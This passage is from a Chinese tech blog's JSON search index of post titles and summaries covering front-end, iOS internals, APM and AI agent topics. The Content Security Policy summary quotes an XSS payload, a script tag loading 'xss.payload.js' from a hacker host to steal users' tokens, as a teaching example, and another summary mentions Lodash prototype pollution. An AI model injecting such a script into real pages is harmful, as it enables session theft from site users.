因为JavaScript具有自动垃圾回收机制，所以对于前端开发来说，内存空间并不是一个经常被提及的概念，很容易被大家忽视。特别是很多不是计算机专业的朋友在进入到前端之后，会对内存空间的认知比较模糊，甚至有些人干脆就是一无所知。\n当然也包括我自己。在很长一段时间里认为内存空间的概念在JS的学习中并不是那么重要。可是后我当我回过头来重新整理JS基础时，发现由于对它们的模糊认知，导致了很多东西我都理解得并不明白。比如最基本的引用数据类型和引用传递到底是怎么回事儿？比 …","title":"内存空间"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/html/html-004/","summary":"根据标签的功能和表现，HTML 标签主要分为以下几类：\n1. 块级元素（Block-level Elements） 块级元素通常独占一行，并且可以包含其他块级元素或内联元素，能够扩展至父容器的全部宽度。\n特点：\n独占一行，默认情况下会在前后产生换行。 宽度默认是父元素的 100%。 可以设置 width、height、margin、padding 等布局属性。 常见的块级元素：\n\u0026amp;lt;div\u0026amp;gt;：无特定语义的容器，常用于布局。 \u0026amp;lt;p\u0026amp;gt;：段落标签。 \u0026amp;lt;h1\u0026amp;gt; 到 \u0026amp;lt;h6\u0026amp;gt;：标题标签，按重要性递减。 …","title":"HTML 元素分类"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/css/css-004/","summary":"在前端面试中，经常会遇到CSS选择器的问题三连：\n说一下CSS的选择器有哪些 优先级是怎样的 权重计算方式 今天就来给大家介绍选择器的优先级和权重计算方式。\n优先级是什么？有什么用？ 先提出一个问题：如果一个元素通过多种方式设置了字体大小，那么浏览器在最后渲染时会使用哪个属性值呢？\n其实，浏览器会通过优先级来判断哪些属性值与一个元素最为相关，从而在该元素上应用这些属性值。优先级是基于不同种类选择器组成的匹配规则。\n换种说法，优先级就是分配给指定的 CSS 声明的一个权重，它由 匹配的选择器 中的 每一种选择器类型的数值 决定。\n总结一下：\n权重决定了你css规则怎样被浏览器解析直到生效，css …","title":"优先级"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-004/","summary":"前言 Vue 的计算属性（computed）是 Vue.js 中非常重要的一个概念。它允许你在 Vue 组件中定义一些计算逻辑，这些逻辑会依赖于 Vue 的响应式数据，并且具有缓存机制，只有在依赖数据发生改变时才会重新计算，从而提高了性能。\n计算属性的主要作用包括：\n数据转换 数据过滤 响应式依赖 缓存机制 简化模板 在本篇文章中，我们将详细探寻如何利用计算属性优化 Vue 组件的数据处理和渲染逻辑，深入了解 Vue 计算属性的精髓。\n一. 认识计算属性 1. 什么是计算属性 Vue.js 中的计算属性（computed properties）是 Vue 实例中非常重要的一个特性。它们用于对 …","title":"计算属性"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/security/content-security-policy/","summary":"跨域脚本攻击 XSS(Cross Site Scripting) 是最常见、危害最大的网页安全漏洞。\n比如网站有个留言板功能，但后台未对用户输入进行过滤，攻击者可以在留言编辑框中输入\n\u0026amp;lt;script src=\u0026amp;#34;http://www.hacker.org/xss.payload.js\u0026amp;#34;\u0026amp;gt;\u0026amp;lt;/script\u0026amp;gt; xss.payload.js可以获取老浏览用户的信息，如登录token、用户的个人资料等。以前的防御手段主要是对用户输入进行过滤如：去除html标签，实体化，关键字过滤等等，这样一来，最终的结果就是后台的大多数代码都是在做字符串验证，非常的让人不舒服。 …","title":"Content Security Policy"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/es6/es6-004/","summary":"一、箭头函数的特点 1. 相比普通函数，箭头函数有更加简洁的语法。 普通函数\nfunction add(num) { return num + 10 } 箭头函数\nconst add = num =\u0026amp;gt; num + 10; 2. 箭头函数不绑定this，会捕获其所在上下文的this，作为自己的this。 这句话需要注意的是，箭头函数的外层如果有普通函数，那么箭头函数的this就是这个外层的普通函数的this，箭头函数的外层如果没有普通函数，那么箭头函数的this就是全局变量。\n下面这个例子是箭头函数的外层有普通函数。\nlet obj = { fn:function(){ …","title":"箭头函数"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/swiftinterviewsourcecode/compiler-runtime/","summary":"Swift 面试：编译流程、Runtime 与元数据源码解析 Swift 面试里问编译流程和 Runtime，通常不是想听一串名词，而是想看你能不能把 源码 -\u0026amp;gt; AST -\u0026amp;gt; SIL -\u0026amp;gt; 优化 -\u0026amp;gt; IRGen -\u0026amp;gt; LLVM -\u0026amp;gt; Runtime Metadata 串起来。\n这篇文章按面试题展开，把答案落到 Swift 编译器源码里的 SILGen、SILOptimizer、IRGen、Metadata、Value Witness Table、Protocol Witness Table 和 HeapObject。\n面试高频问题 Swift 源码从 …","title":"Swift 面试：编译流程、Runtime 与元数据源码解析"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-03/","summary":" \u0026amp;ldquo;一个系统的工程成熟度，不在于它能做什么，而在于它多快准备好做什么，以及它如何在做完之后优雅地离开。\u0026amp;rdquo;\n3.1 问题引入：亚秒级启动的挑战 想象这样一个系统：它拥有 45 个以上的内置工具、上百个 CLI 命令选项、数十个服务模块，还要在启动时读取操作系统钥匙串、解析 MDM 企业管理策略、连接 MCP 外部服务器、加载插件与技能系统、执行数据迁移、初始化遥测与分析管道——然后在用户敲下回车后的 900 毫秒内完成首次渲染。\n这不是理论问题，而是 Claude Code 每次启动时面临的真实挑战。\n传统做法是串行初始化：读取配置 → 验证权限 → 加载模块 → 渲染界 …","title":"第3章 启动算法与生命周期管理"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/ocsourcecodeanalysis/load-method-explained/","summary":"objc4 runtime\n+load 调度：从 load_images 到 call_load_methods 这页解释 objc4 如何在 dyld 映射镜像后发现、排队并调用 Objective-C 的 +load。 重点是类与分类的顺序、父类优先、递归和重入处理，以及 runtimeLock 与 loadMethodLock 的边界。\n入口：dyld callback 队列：loadable_classes / loadable_categories 调度：call_load_methods 测试：load*.m\n目录 作用 实现原理 核心结构和关键函数 关键流程 带注释代码片段 测试 …","title":"Objective-C +load 调度：load_images 与 call_load_methods"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/cocostennis/part-five/","summary":"3D球场项目 (四) 把服务端推到了线上： 导演 Agent 把每个 Point 切成 SERVE / RALLY / CONCLUSION 三段，配齐了动作、机位、 位置、比分、解说，按 seq 单调下发到客户端。本篇回到客户端，看 Cocos 这一侧拿到 Script 之后，是怎么把它变成屏幕上一拍接一拍的比赛画面的。\n整个客户端改造分四层落地，本篇只讲和 3D 球场主干业务直接相关的内容：\nCocosEngine 层：场景加载架构升级（进度 / 传参 / Delegate1 回调 / JSBridge2 内存语义）； MagicDanmaku 层：3D 球场的核心业务代码（数据流、状态机 …","title":"3D球场项目 (五)"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-apm/%E6%8C%87%E6%A0%87%E4%BD%93%E7%B3%BB/","summary":"APM 的第一步不是写代码，而是定义指标。一个 App 的性能好坏不是一句话能说清的，必须把模糊的\u0026amp;quot;快 / 稳 / 省\u0026amp;quot;拆解为可量化、可对比、可报警的数字。本文把业界常用指标按\u0026amp;quot;稳定性 / 流畅性 / 启动 / 资源 / 业务 / 网络\u0026amp;quot;六大族分类，并补充 RUM 的 Session / View / Action / Resource / Error 口径，给出每个指标的定义、计算方式、典型目标值与常见陷阱。\n一、指标设计原则 设计指标前先达成共识：\n1.1 北极星分层 graph TB L0[用户体验北极星留存率 / NPS] L1[业务指标秒开率 …","title":"APM-指标体系"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ai/function-calling%E4%B8%8Emcp/","summary":"LLM很聪明，但它被困在一个\u0026amp;quot;文本沙箱\u0026amp;quot;里——它只能接收文本、输出文本。要让LLM调用API、查数据库、操作文件，就需要一个\u0026amp;quot;桥梁\u0026amp;quot;协议来连接LLM与外部世界。\nFunction Calling和**MCP（Model Context Protocol）**就是这样的桥梁。它们的目标相同——让LLM能调用外部工具——但设计理念和使用场景有很大不同。本文将详细对比这两种方案。\n一、Function Calling：LLM原生的工具调用 1.1 基本原理 Function Calling是LLM提供商（OpenAI、Anthropic、Google等）在模型 …","title":"Function Calling与MCP"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-advanced/ios%E5%9B%BD%E9%99%85%E5%8C%96/","summary":"前言 很多团队对\u0026amp;quot;国际化\u0026amp;quot;的理解停留在\u0026amp;quot;把中文文案翻译成英文\u0026amp;quot;，等真正把 App 推向多区域时就会发现远远不够：阿拉伯语用户看到的界面左右颠倒了，用户在纽约和东京看到的\u0026amp;quot;今天\u0026amp;quot;不是同一天，欧洲的小数点变成了逗号，日本用户抱怨价格里的¥符号指向人民币而不是日元，印度用户发现自己的 ₹1,23,456.78 被错误地按千分位显示成 ₹123,456.78，复数规则在俄语里比英语复杂得多，而这些问题单靠\u0026amp;quot;翻译\u0026amp;quot;都解决不了。\n国际化（Internationalization，简称 i18n，取首末字母与中间 18 个字符） …","title":"iOS国际化"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/kvo%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86/","summary":"基础概念 KVO（Key-Value Observing，键值观察）是 Apple 基于 KVC 实现的一种观察者模式，允许对象监听另一个对象特定属性的变化。当被观察对象的属性值发生改变时，观察者会收到通知。\n// 注册观察 [person addObserver:self forKeyPath:@\u0026amp;#34;name\u0026amp;#34; options:NSKeyValueObservingOptionNew | NSKeyValueObservingOptionOld context:nil]; // 接收通知 - (void)observeValueForKeyPath:(NSString …","title":"KVO底层原理"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-source-analysis/rxswift%E6%BA%90%E7%A0%81%E5%AF%BC%E8%AF%BB/","summary":"RxSwift 是 ReactiveX 在 Swift 上的实现，提供了一套完整的响应式编程框架。它通过 Observable 序列和操作符组合的方式，简化了异步编程、事件处理和数据流管理。本文基于 v6.10.2（2026年3月发布）源码进行分析。\n一、整体架构 RxSwift 项目采用模块化设计，包含五个独立模块：\ngraph TB subgraph \u0026#34;核心层\u0026#34; A[\u0026#34;RxSwift核心响应式框架\u0026#34;] end subgraph \u0026#34;扩展层\u0026#34; B[\u0026#34;RxCocoaUIKit/AppKit绑定\u0026#34;] C[\u0026#34;RxRelayRelay封装\u0026#34;] end subgraph \u0026#34;工具层\u0026#34; …","title":"RxSwift源码导读"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-architecture/tca/","summary":"什么是TCA TCA（The Composable Architecture）是由Point-Free团队开发的Swift架构框架，受Elm和Redux启发，为Apple平台提供了一套完整的应用构建工具，涵盖状态管理、副作用处理、模块化组合以及测试支持。\nGitHub仓库：swift-composable-architecture 适用平台：iOS、macOS、iPadOS、visionOS、tvOS、watchOS 适用UI框架：SwiftUI、UIKit TCA的核心理念是：将应用状态、变更动作、副作用和依赖显式化，构建可组合、可测试的单向数据流架构。整体架构与Swift的语言特性（值语义 …","title":"TCA（The Composable Architecture）详解"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/launch-load%E6%96%B9%E6%B3%95/","summary":"+load方法是ObjC运行时在类被加载时自动调用的方法，所有+load方法在main函数之前同步执行，会阻塞启动。\n问题分析 +load方法的特点：\n特性 说明 调用时机 main函数之前，ObjC Runtime初始化时 调用顺序 父类 → 子类 → Category 线程 主线程，同步执行 影响 直接阻塞启动 // 问题代码：+load中执行耗时操作 @implementation HeavyModule + (void)load { // 耗时操作会阻塞启动 [self setupDatabase]; [self preloadResources]; [self …","title":"启动优化-load方法"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E5%B7%A5%E5%8E%82%E6%A8%A1%E5%BC%8F/","summary":"定义 工厂模式（Factory Pattern）是一种创建型设计模式，它提供了一种创建对象的方式，将对象的创建逻辑与使用逻辑分离。工厂模式有三种变体：简单工厂模式、工厂方法模式和抽象工厂模式。\n为什么需要工厂模式 工厂模式要解决的核心问题是：将对象的创建过程与使用过程分离。\n问题场景：假设我们正在开发一个网络层，需要创建URLSession对象。\n直接使用构造函数创建对象看起来很简单：\nclass NetworkManager { func fetchData(from url: URL) { // 直接创建URLSession let config = …","title":"工厂模式"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-build/xcode%E6%9E%84%E5%BB%BA%E7%B3%BB%E7%BB%9F/","summary":"Xcode 的构建系统由多个组件协同完成，从 Cmd+B 到生成 .app 经历了完整的任务图构建、依赖分析、并行调度流程。理解这套体系是后续一切优化的基础。\n构建系统组成 Xcode 10 之后默认采用 Swift Build System（基于 llbuild），整体架构如下：\nflowchart TD A[Xcode IDE] --\u0026gt; B[XCBBuildServiceDaemon] B --\u0026gt; C[Build Description任务图 JSON] C --\u0026gt; D[llbuild调度内核] D --\u0026gt; E1[Swift Driver / swiftc] D --\u0026gt; E2[clang] …","title":"编译优化-Xcode构建系统"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-005/","summary":"在前端开发中，我们经常需要执行各种重复性任务，比如编译代码、启动本地服务器、监听文件变化、运行测试、部署代码等。虽然可以使用不同的工具来完成这些任务，但npm本身提供了一个强大的功能：npm scripts。通过npm scripts，我们可以将这些任务脚本化并集中管理，从而提高开发效率。\n本文将专注于如何使用npm scripts自动化前端开发任务，以及它在项目管理中的作用。\n什么是npm scripts？ npm scripts是npm提供的一种机制，允许我们在项目的package.json文件中定义一组命令，方便执行各种任务。在package.json文件中，scripts字段可以包含多 …","title":"前端任务自动化（npm scripts实现）"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/network/http-https/","summary":"HTTP 基础 HTTP 超文本传输协议 ，应用层协议。主要用于 Web 上传输超媒体文本的底层协议，经常在浏览器和服务器之间传递数据。通信就是以纯文本的形式进行。\nHTTP 是无状态 无状态是 HTTP 协议对客户端请求状态没有进行存储，比如每次请求都需要重新登录\nHTTP 是无连接 无连接主要是限制每次连接只处理一个请求。每次请求都是客户发起请求，服务端响应请求，然后就断开连接。这期间就是通过三次握手建立连接，四次挥手断开连接。每次请求即便是多次请求并请求同一个资源，服务端都无法判断是否是相同请求，都需要重新响应请求。\n所以，为了解决客户端和服务端保持会话连接，通过 cookie 和 …","title":"http和https"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/react/react-hooks/","summary":"一 前言 React hooks是react16.8 以后，react新增的钩子API，目的是增加代码的可复用性，逻辑性，弥补无状态组件没有生命周期，没有数据管理状态state的缺陷。\n本章节将介绍目前 React 提供的所有 hooks ，介绍其功能类型和基本使用方法。\n1.1 技术背景 react hooks 解决了什么问题？\n先设想一下，如果没有 Hooks，函数组件能够做的只是接受 Props、渲染 UI ，以及触发父组件传过来的事件。所有的处理逻辑都要在类组件中写，这样会使 class 类组件内部错综复杂，每一个类组件都有一套独特的状态，相互之间不能复用，即便是 React 之前出现 …","title":"react hooks"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-005/","summary":"\n我们在JS学习初期或者面试的时候常常会遇到考核变量提升的思考题。比如先来一个简单一点的。\nconsole.log(a); // 这里会打印出什么？ var a = 20; 暂时先不管这个例子，我们先引入一个JavaScript中最基础，但同时也是最重要的一个概念执行上下文（Execution Context）。\n每次当控制器转到可执行代码的时候，就会进入一个执行上下文。执行上下文可以理解为当前代码的执行环境，它会形成一个作用域。JavaScript中的运行环境大概包括三种情况。\n全局环境：JavaScript代码运行起来会首先进入该环境 函数环境：当函数被调用执行时，会进入当前函数中执行代码 …","title":"执行上下文"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/html/html-005/","summary":"HTML 元素的属性是用于控制元素行为或样式的附加信息。\n以下是一些常见的 HTML 属性：\n1. 通用属性（Global Attributes） 这些属性几乎可以应用于所有 HTML 元素：\nid：元素的唯一标识符，用于 JavaScript 或 CSS 选择。\n\u0026amp;lt;div id=\u0026amp;#34;main\u0026amp;#34;\u0026amp;gt;\u0026amp;lt;/div\u0026amp;gt; class：为元素指定一个或多个类名，用于 CSS 样式或 JavaScript 操作。\n\u0026amp;lt;div class=\u0026amp;#34;container header\u0026amp;#34;\u0026amp;gt;\u0026amp;lt;/div\u0026amp;gt; style：为元素设置内联样式。 …","title":"HTML 常见属性"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/css/font/","summary":"什么是 font 属性？ 在CSS中， font 属性是一个简写属性，用于设置字体的多个相关属性，包括字体大小、字体样式、字体粗细、字体系列等。使用 font 属性可以方便地在一个声明中设置多个字体相关的样式。\nfont 属性的语法 font: [font-style] [font-variant] [font-weight] [font-size] [line-height] [font-family]; 各个属性的详细说明 font-style：设置字体的样式。\n取值：\nnormal：正常字体（默认值）。 italic：斜体字。 oblique：倾斜字体。 font-variant：设置字 …","title":"font"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/vue/vue-005/","summary":"一、 watch API 我们先看看 watch的使用例子,watch 有多种用法，可以接收多种类型参数:\nimport { reactive, watch } from \u0026amp;#39;vue\u0026amp;#39; // 1. 传入getter函数 const state = reactive({ count: 0 }) watch(() =\u0026amp;gt; state.count, (count, prevCount) =\u0026amp;gt; { // 当 state.count 更新，会触发此回调函数 }) // 2. 传入reactive对象 watch(state, (count, prevCount) =\u0026amp;gt; { …","title":"侦听器watch"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/security/security-005/","summary":"从一个安全漏洞说起 Lodash 是一款非常流行的 npm 库，每月的下载量超过 8000 万次，GitHub 上使用它的项目有超过 400 万。之前有段时间， Lodash 的一个安全漏洞刷爆了朋友圈，我们先来回忆下这个安全漏洞：\n攻击者可以通过 Lodash 的一些函数覆盖或污染应用程序。例如：通过 Lodash 库中的函数 defaultsDeep 可以修改 Object.prototype 的属性。\n我们都知道，JavaScript 在读取对象中的某个属性时，如果查找不到就会去其原型链上查找。试想一下，如果被修改的属性是 toString 方法：\nconst payload = …","title":"第三方库的安全"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/es6/es6-005/","summary":"解构赋值概念 解构赋值语法是一种 Javascript 表达式。\n通过解构赋值，可以将属性/值从对象/数组中取出,赋值给其他变量。 解构赋值是通过将结构中的各元素复制到变量中来达到“解构”的目的。但对象/数组本身不会被修改。 数组解构 基本使用 📖 可以在定义变量的同时，使用解构进行赋值\nlet [one, two, three] = foo; //等同于 let one = foo[0]; let two = foo[1]; let three = foo[2]; 📖 也可以先声明变量，在进行解构赋值\n设置默认值 当【左边≠右边】时，可以先设置一个默认值，否则取不到值的变量会变成 …","title":"解构赋值"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/aiagentalgorithm/chapter-04/","summary":" \u0026amp;ldquo;Intelligence is not a single act, but an iterated loop of perception, reasoning, and action.\u0026amp;rdquo;\n4.1 问题引入：Agent 的心跳 当用户在终端输入一行自然语言指令——比如\u0026amp;quot;帮我把这个函数重构成两个\u0026amp;quot;——背后发生的事情远比想象中复杂。Claude Code 不会仅仅调用一次大语言模型就给出答案。相反，它启动了一个推理循环（Reasoning Loop）：先理解任务，再决定调用哪个工具，然后执行工具、观察结果，之后再次推理——如此反复，直到任务完成。\n这个 …","title":"第4章 推理循环算法"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/ocsourcecodeanalysis/initialize-method-explained/","summary":"objc4 runtime 懒初始化 并发等待 fork safety\n+initialize 懒初始化与并发状态机 +initialize 是 Objective-C 运行时在类第一次被真正使用时触发的类级初始化钩子。 objc4 的实现重点不是“调用一个方法”，而是用每个类的递归初始化锁、元类上的状态位、线程本地的初始化列表和 fork 子进程保护规则，保证父类优先、单线程执行、并发可等待、重入不死锁。\n目录 作用 实现原理 核心状态字段 入口与触发 并发状态机 关键流程 测试依据 作用 +initialize 的语义是：在某个类或其子类第一次收到会触发初始化的消息前，运行时先给该类发送一 …","title":"+initialize 懒初始化与并发状态机"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/cocostennis/part-six/","summary":"3D球场项目 (五) 把客户端的核心业务流 讲完了：Native 推送 → DataManager 队列 → ScenePlayer 章节调度 → GameController 状态机 → Handler → 渲染层。功能闭环跑通之后，真正的硬仗是 \u0026amp;ldquo;工程化\u0026amp;quot;和\u0026amp;quot;性能\u0026amp;rdquo;——前者保证 项目能稳定上线（编译跑通、退出不崩、Swift 调用顺手），后者保证在中低端机上画面流畅。\n第一版上线时遇到了两类问题：\n稳定性 / 工程化：modulemap 编译报错、lipo 架构冲突、A11 设备启动 crash、 Cocos 退出期 OpenAL 资源竞争 …","title":"3D球场项目 (六)：客户端工程化与优化"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-performance/launch-%E4%BA%8C%E8%BF%9B%E5%88%B6%E9%87%8D%E6%8E%92/","summary":"二进制重排是一种通过重新排列二进制文件中函数顺序来减少启动时Page Fault的优化技术。\n基本原理 Page Fault问题 iOS使用虚拟内存管理，讨论Page Fault时需要先区分两层“内存”：\n虚拟地址空间：进程看到的是一段连续的虚拟地址。App启动时，dyld会把Mach-O的__TEXT、__DATA等段映射到进程的虚拟地址空间里。这里的“映射”只是建立虚拟地址和文件偏移的关系，不代表整段二进制代码已经全部进入物理内存。 物理内存：CPU真正执行代码时，需要对应虚拟页背后有可用的物理页。代码页通常是文件映射页，第一次访问某个尚未驻留在物理内存中的代码页时，会触发Page …","title":"启动优化-二进制重排"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-apm/%E6%95%B0%E6%8D%AE%E6%A8%A1%E5%9E%8B%E4%B8%8E%E4%B8%8A%E6%8A%A5/","summary":"APM 的上报系统不只是“把 JSON 发到服务端”。它要解决三件事：数据如何建模、事件如何关联、移动端如何可靠且低成本地上传。这一层设计不好，后面的服务端聚合、B 端下钻和告警都会变成补丁工程。\n一、设计目标 数据模型与上报层要同时满足：\n目标 说明 可关联 页面、操作、网络、错误、性能现场能被 Session 串起来 可聚合 同类问题能按 fingerprint、版本、机型、页面、接口聚合 可重试 弱网、后台、进程退出后数据不轻易丢 可去重 重试不会造成重复统计 可采样 高频数据不会压垮端侧、网络和服务端 可脱敏 敏感数据在端侧就被过滤或掩码 可演进 Schema 版本升级后新旧 SDK …","title":"APM-数据模型与上报"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ai/harness-engineering/","summary":" 基于 2025.11 — 2026.03 期间 Anthropic、OpenAI、LangChain、Google DeepMind、Stanford 发布的九篇核心文章的精读整理。 目标：理解 Harness Engineering 是什么，以及大公司和学术机构在实践中做了哪些探索。\n一、什么是 Harness Engineering？ 1.1 Harness 的定义 LangChain 给出了最清晰的公式化定义：\nAgent = Model + Harness \u0026amp;ldquo;If you\u0026amp;rsquo;re not the model, you\u0026amp;rsquo;re the …","title":"Harness Engineering 精读笔记"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-advanced/ios%E6%97%A0%E9%9A%9C%E7%A2%8D%E6%A0%91/","summary":"前言 打开 iPhone 的\u0026amp;quot;设置 → 辅助功能 → 旁白（VoiceOver）\u0026amp;quot;，再用三指在屏幕上滑动，iPhone 就会逐个读出当前界面上的每个控件：\u0026amp;quot;登录按钮，双击以激活\u0026amp;quot;、\u0026amp;quot;用户名，文本框，已填写 ancheng\u0026amp;quot;、\u0026amp;quot;价格，¥99\u0026amp;quot;。这背后支撑 VoiceOver、开关控制（Switch Control）、语音控制（Voice Control）、全键盘访问（Full Keyboard Access）、Xcode UITest、AI Agent 识屏 等一系列能力的，是一棵并行于 UIView 视图树的 无障 …","title":"iOS无障碍树详解"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/mach-o%E7%9A%84%E9%93%BE%E6%8E%A5-%E8%A3%85%E8%BD%BD%E4%B8%8E%E5%BA%93/","summary":"本文深入介绍iOS/macOS开发中的Mach-O文件格式、动态库与静态库，帮助理解程序的链接、装载过程，以及Rebase/Bind的底层原理。\n一、基础概念 在深入学习之前，先了解几个核心概念。\n1.0 从源代码到可执行文件 一段源代码要变成可执行文件，需要经历以下几个阶段：\nflowchart TB A[\u0026#34;源代码 (.m/.swift)\u0026#34;] --\u0026gt; B[\u0026#34;预处理展开宏、处理#import/#include\u0026#34;] B --\u0026gt; C[\u0026#34;编译源代码 → 汇编代码\u0026#34;] C --\u0026gt; D[\u0026#34;汇编汇编代码 → 目标文件(.o)\u0026#34;] D --\u0026gt; E[\u0026#34;链接目标文件 + 库 → 可执行文件\u0026#34;] E --\u0026gt; …","title":"Mach-O的链接、装载与库"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-source-analysis/sdwebimage%E6%BA%90%E7%A0%81%E5%AF%BC%E8%AF%BB/","summary":"SDWebImage 是 iOS 生态中历史最悠久、最流行的异步图片下载缓存库，由 Olivier Poitrey 在 2009 年创建，如今由社区维护。截至 2026 年 4 月，GitHub Star 数已超过 25.6k，最新稳定版本为 5.21.7（2026 年 2 月）。5.21 系列引入了 HDR 图片编解码支持，并持续完善线程安全和 iOS 26 的兼容性。本文基于 master 分支源码（Objective-C 实现）进行分析。\n一、整体架构 SDWebImage 采用协议导向 + 责任链的模块化设计，核心由五大子系统构成：Manager 协调层、Cache 缓存层 …","title":"SDWebImage源码导读"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-architecture/viper/","summary":"什么是VIPER VIPER是一种更加细粒度的架构模式，由Mutual Mobile公司提出。VIPER将应用分为五个层次：\nView（视图）：负责UI展示 Interactor（交互器）：负责业务逻辑 Presenter（展示器）：负责视图逻辑 Entity（实体）：数据模型 Router（路由）：负责页面导航 VIPER的核心思想是单一职责原则，每个组件只负责一件事。\nVIPER的结构 flowchart TB subgraph Module[\u0026#34;Module\u0026#34;] View[\u0026#34;View\u0026#34;] Presenter[\u0026#34;Presenter\u0026#34;] Interactor[\u0026#34;Interactor\u0026#34;] …","title":"VIPER架构详解"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-design/patterns/%E5%BB%BA%E9%80%A0%E8%80%85%E6%A8%A1%E5%BC%8F/","summary":"定义 建造者模式（Builder Pattern）是一种创建型设计模式，它将复杂对象的构建与表示分离，使得同样的构建过程可以创建不同的表示。建造者模式特别适用于创建包含多个可选参数的对象。\n建造者模式的核心思想是：将一个复杂对象的构建过程分解为多个简单的步骤，通过一步一步地构建，最终得到完整的对象。\n为什么需要建造者模式 建造者模式要解决的核心问题是：简化复杂对象的创建过程，特别是当对象有很多可选参数时。\n问题场景：假设我们需要创建一个网络请求配置对象，它有很多可选参数。\n使用构造函数的方式：\nstruct NetworkConfig { let baseURL: URL let …","title":"建造者模式"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/interview/ios-build/%E4%BA%8C%E8%BF%9B%E5%88%B6%E5%8C%96/","summary":"二进制化是大型 iOS 工程编译加速的\u0026amp;quot;银弹\u0026amp;quot;：把组件从源码编译改成预编译产物链接，在本地无需再跑 Swift/Clang 前端，直接链接已有的 .a / .framework / .xcframework。美团在 cocoapods-hmap-prebuilt 之外，还通过二进制化把整体编译速度提升 50%+。本文系统介绍二进制化的原理、实现方式与工具链。\n为什么能加速 典型项目的编译时间分布（抖音量级）：\npie title 冷编译耗时占比 \u0026#34;业务代码编译\u0026#34; : 25 \u0026#34;第三方依赖编译\u0026#34; : 50 \u0026#34;链接\u0026#34; : 15 \u0026#34;其他\u0026#34; : 10 超过一半的时间都花在编译 …","title":"编译优化-二进制化"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/engineering/engineering-006/","summary":"规范化是前端工程化的一个重要部分。现在，有许多工具能够辅助我们实行代码的规范化,比如你一定知道的 ESLint 和 Prettier。\n今天，来聊聊这些工具的工作原理和基本使用，了解它们是如何发挥作用的，以及如何更好地利用这些工具去规范项目的代码。\n1. ESlint - 检查你的 JavaScript 代码 让我们先从知名度最高的 ESLint 开始。\n1.1. ESLint 及其作用 Lint 是一类专门用于检查代码的工具软件， 也称 linter。ESLint ，即 JavaScript （ECMAScript）代码的检查工具。\n正如官网的介绍 —— “Find and fix …","title":"代码规范工程化"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/network/cookie-session/","summary":"Cookie 和 Session HTTP 协议是一种无状态协议，即每次服务端接收到客户端的请求时，都是一个全新的请求，服务器并不知道客户端的历史请求记录；Session 和 Cookie 的主要目的就是为了弥补 HTTP 的无状态特性。\nSession 是什么 客户端请求服务端，服务端会为这次请求开辟一块内存空间，这个对象便是 Session 对象，存储结构为 ConcurrentHashMap。Session 弥补了 HTTP 无状态特性，服务器可以利用 Session 存储客户端在同一个会话期间的一些操作记录。\nSession 如何判断是否是同一会话 服务器第一次接收到请求时，开辟了一块 …","title":"Cookie 和 Session"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/react/context-api/","summary":"先看看React官网对于Context的介绍 Context 提供了一个无需为每层组件手动添加 props，就能在组件树间进行数据传递的方法。在一个典型的 React 应用中，数据是通过 props 属性自上而下（由父及子）进行传递的，但这种做法对于某些类型的属性而言是极其繁琐的（例如：地区偏好，UI 主题），这些属性是应用程序中许多组件都需要的。Context 提供了一种在组件之间共享此类值的方式，而不必显式地通过组件树的逐层传递 props。\n个人理解转成大白话：Context提供了一个局部的全局作用域，使用Context则无需再手动的逐层传递props。\n本文主要介绍3种Context的 …","title":"Context API"},{"permalink":"https://amatsuzero.github.io/LastStand/posts/frontend/javascript/javascript-006/","summary":"\n这篇文章要给大家介绍的是变量对象。\n在JavaScript中，我们肯定不可避免的需要声明变量和函数，可是JS解析器是如何找到这些变量的呢？我们还得对执行上下文有一个进一步的了解。\n在知识点《执行上下文》中，我们已经知道，当调用一个函数时（激活），一个新的执行上下文就会被创建。而一个执行上下文的生命周期可以分为两个阶段。\n创建阶段 在这个阶段中，执行上下文会分别创建变量对象，建立作用域链，以及确定this的指向。\n代码执行阶段 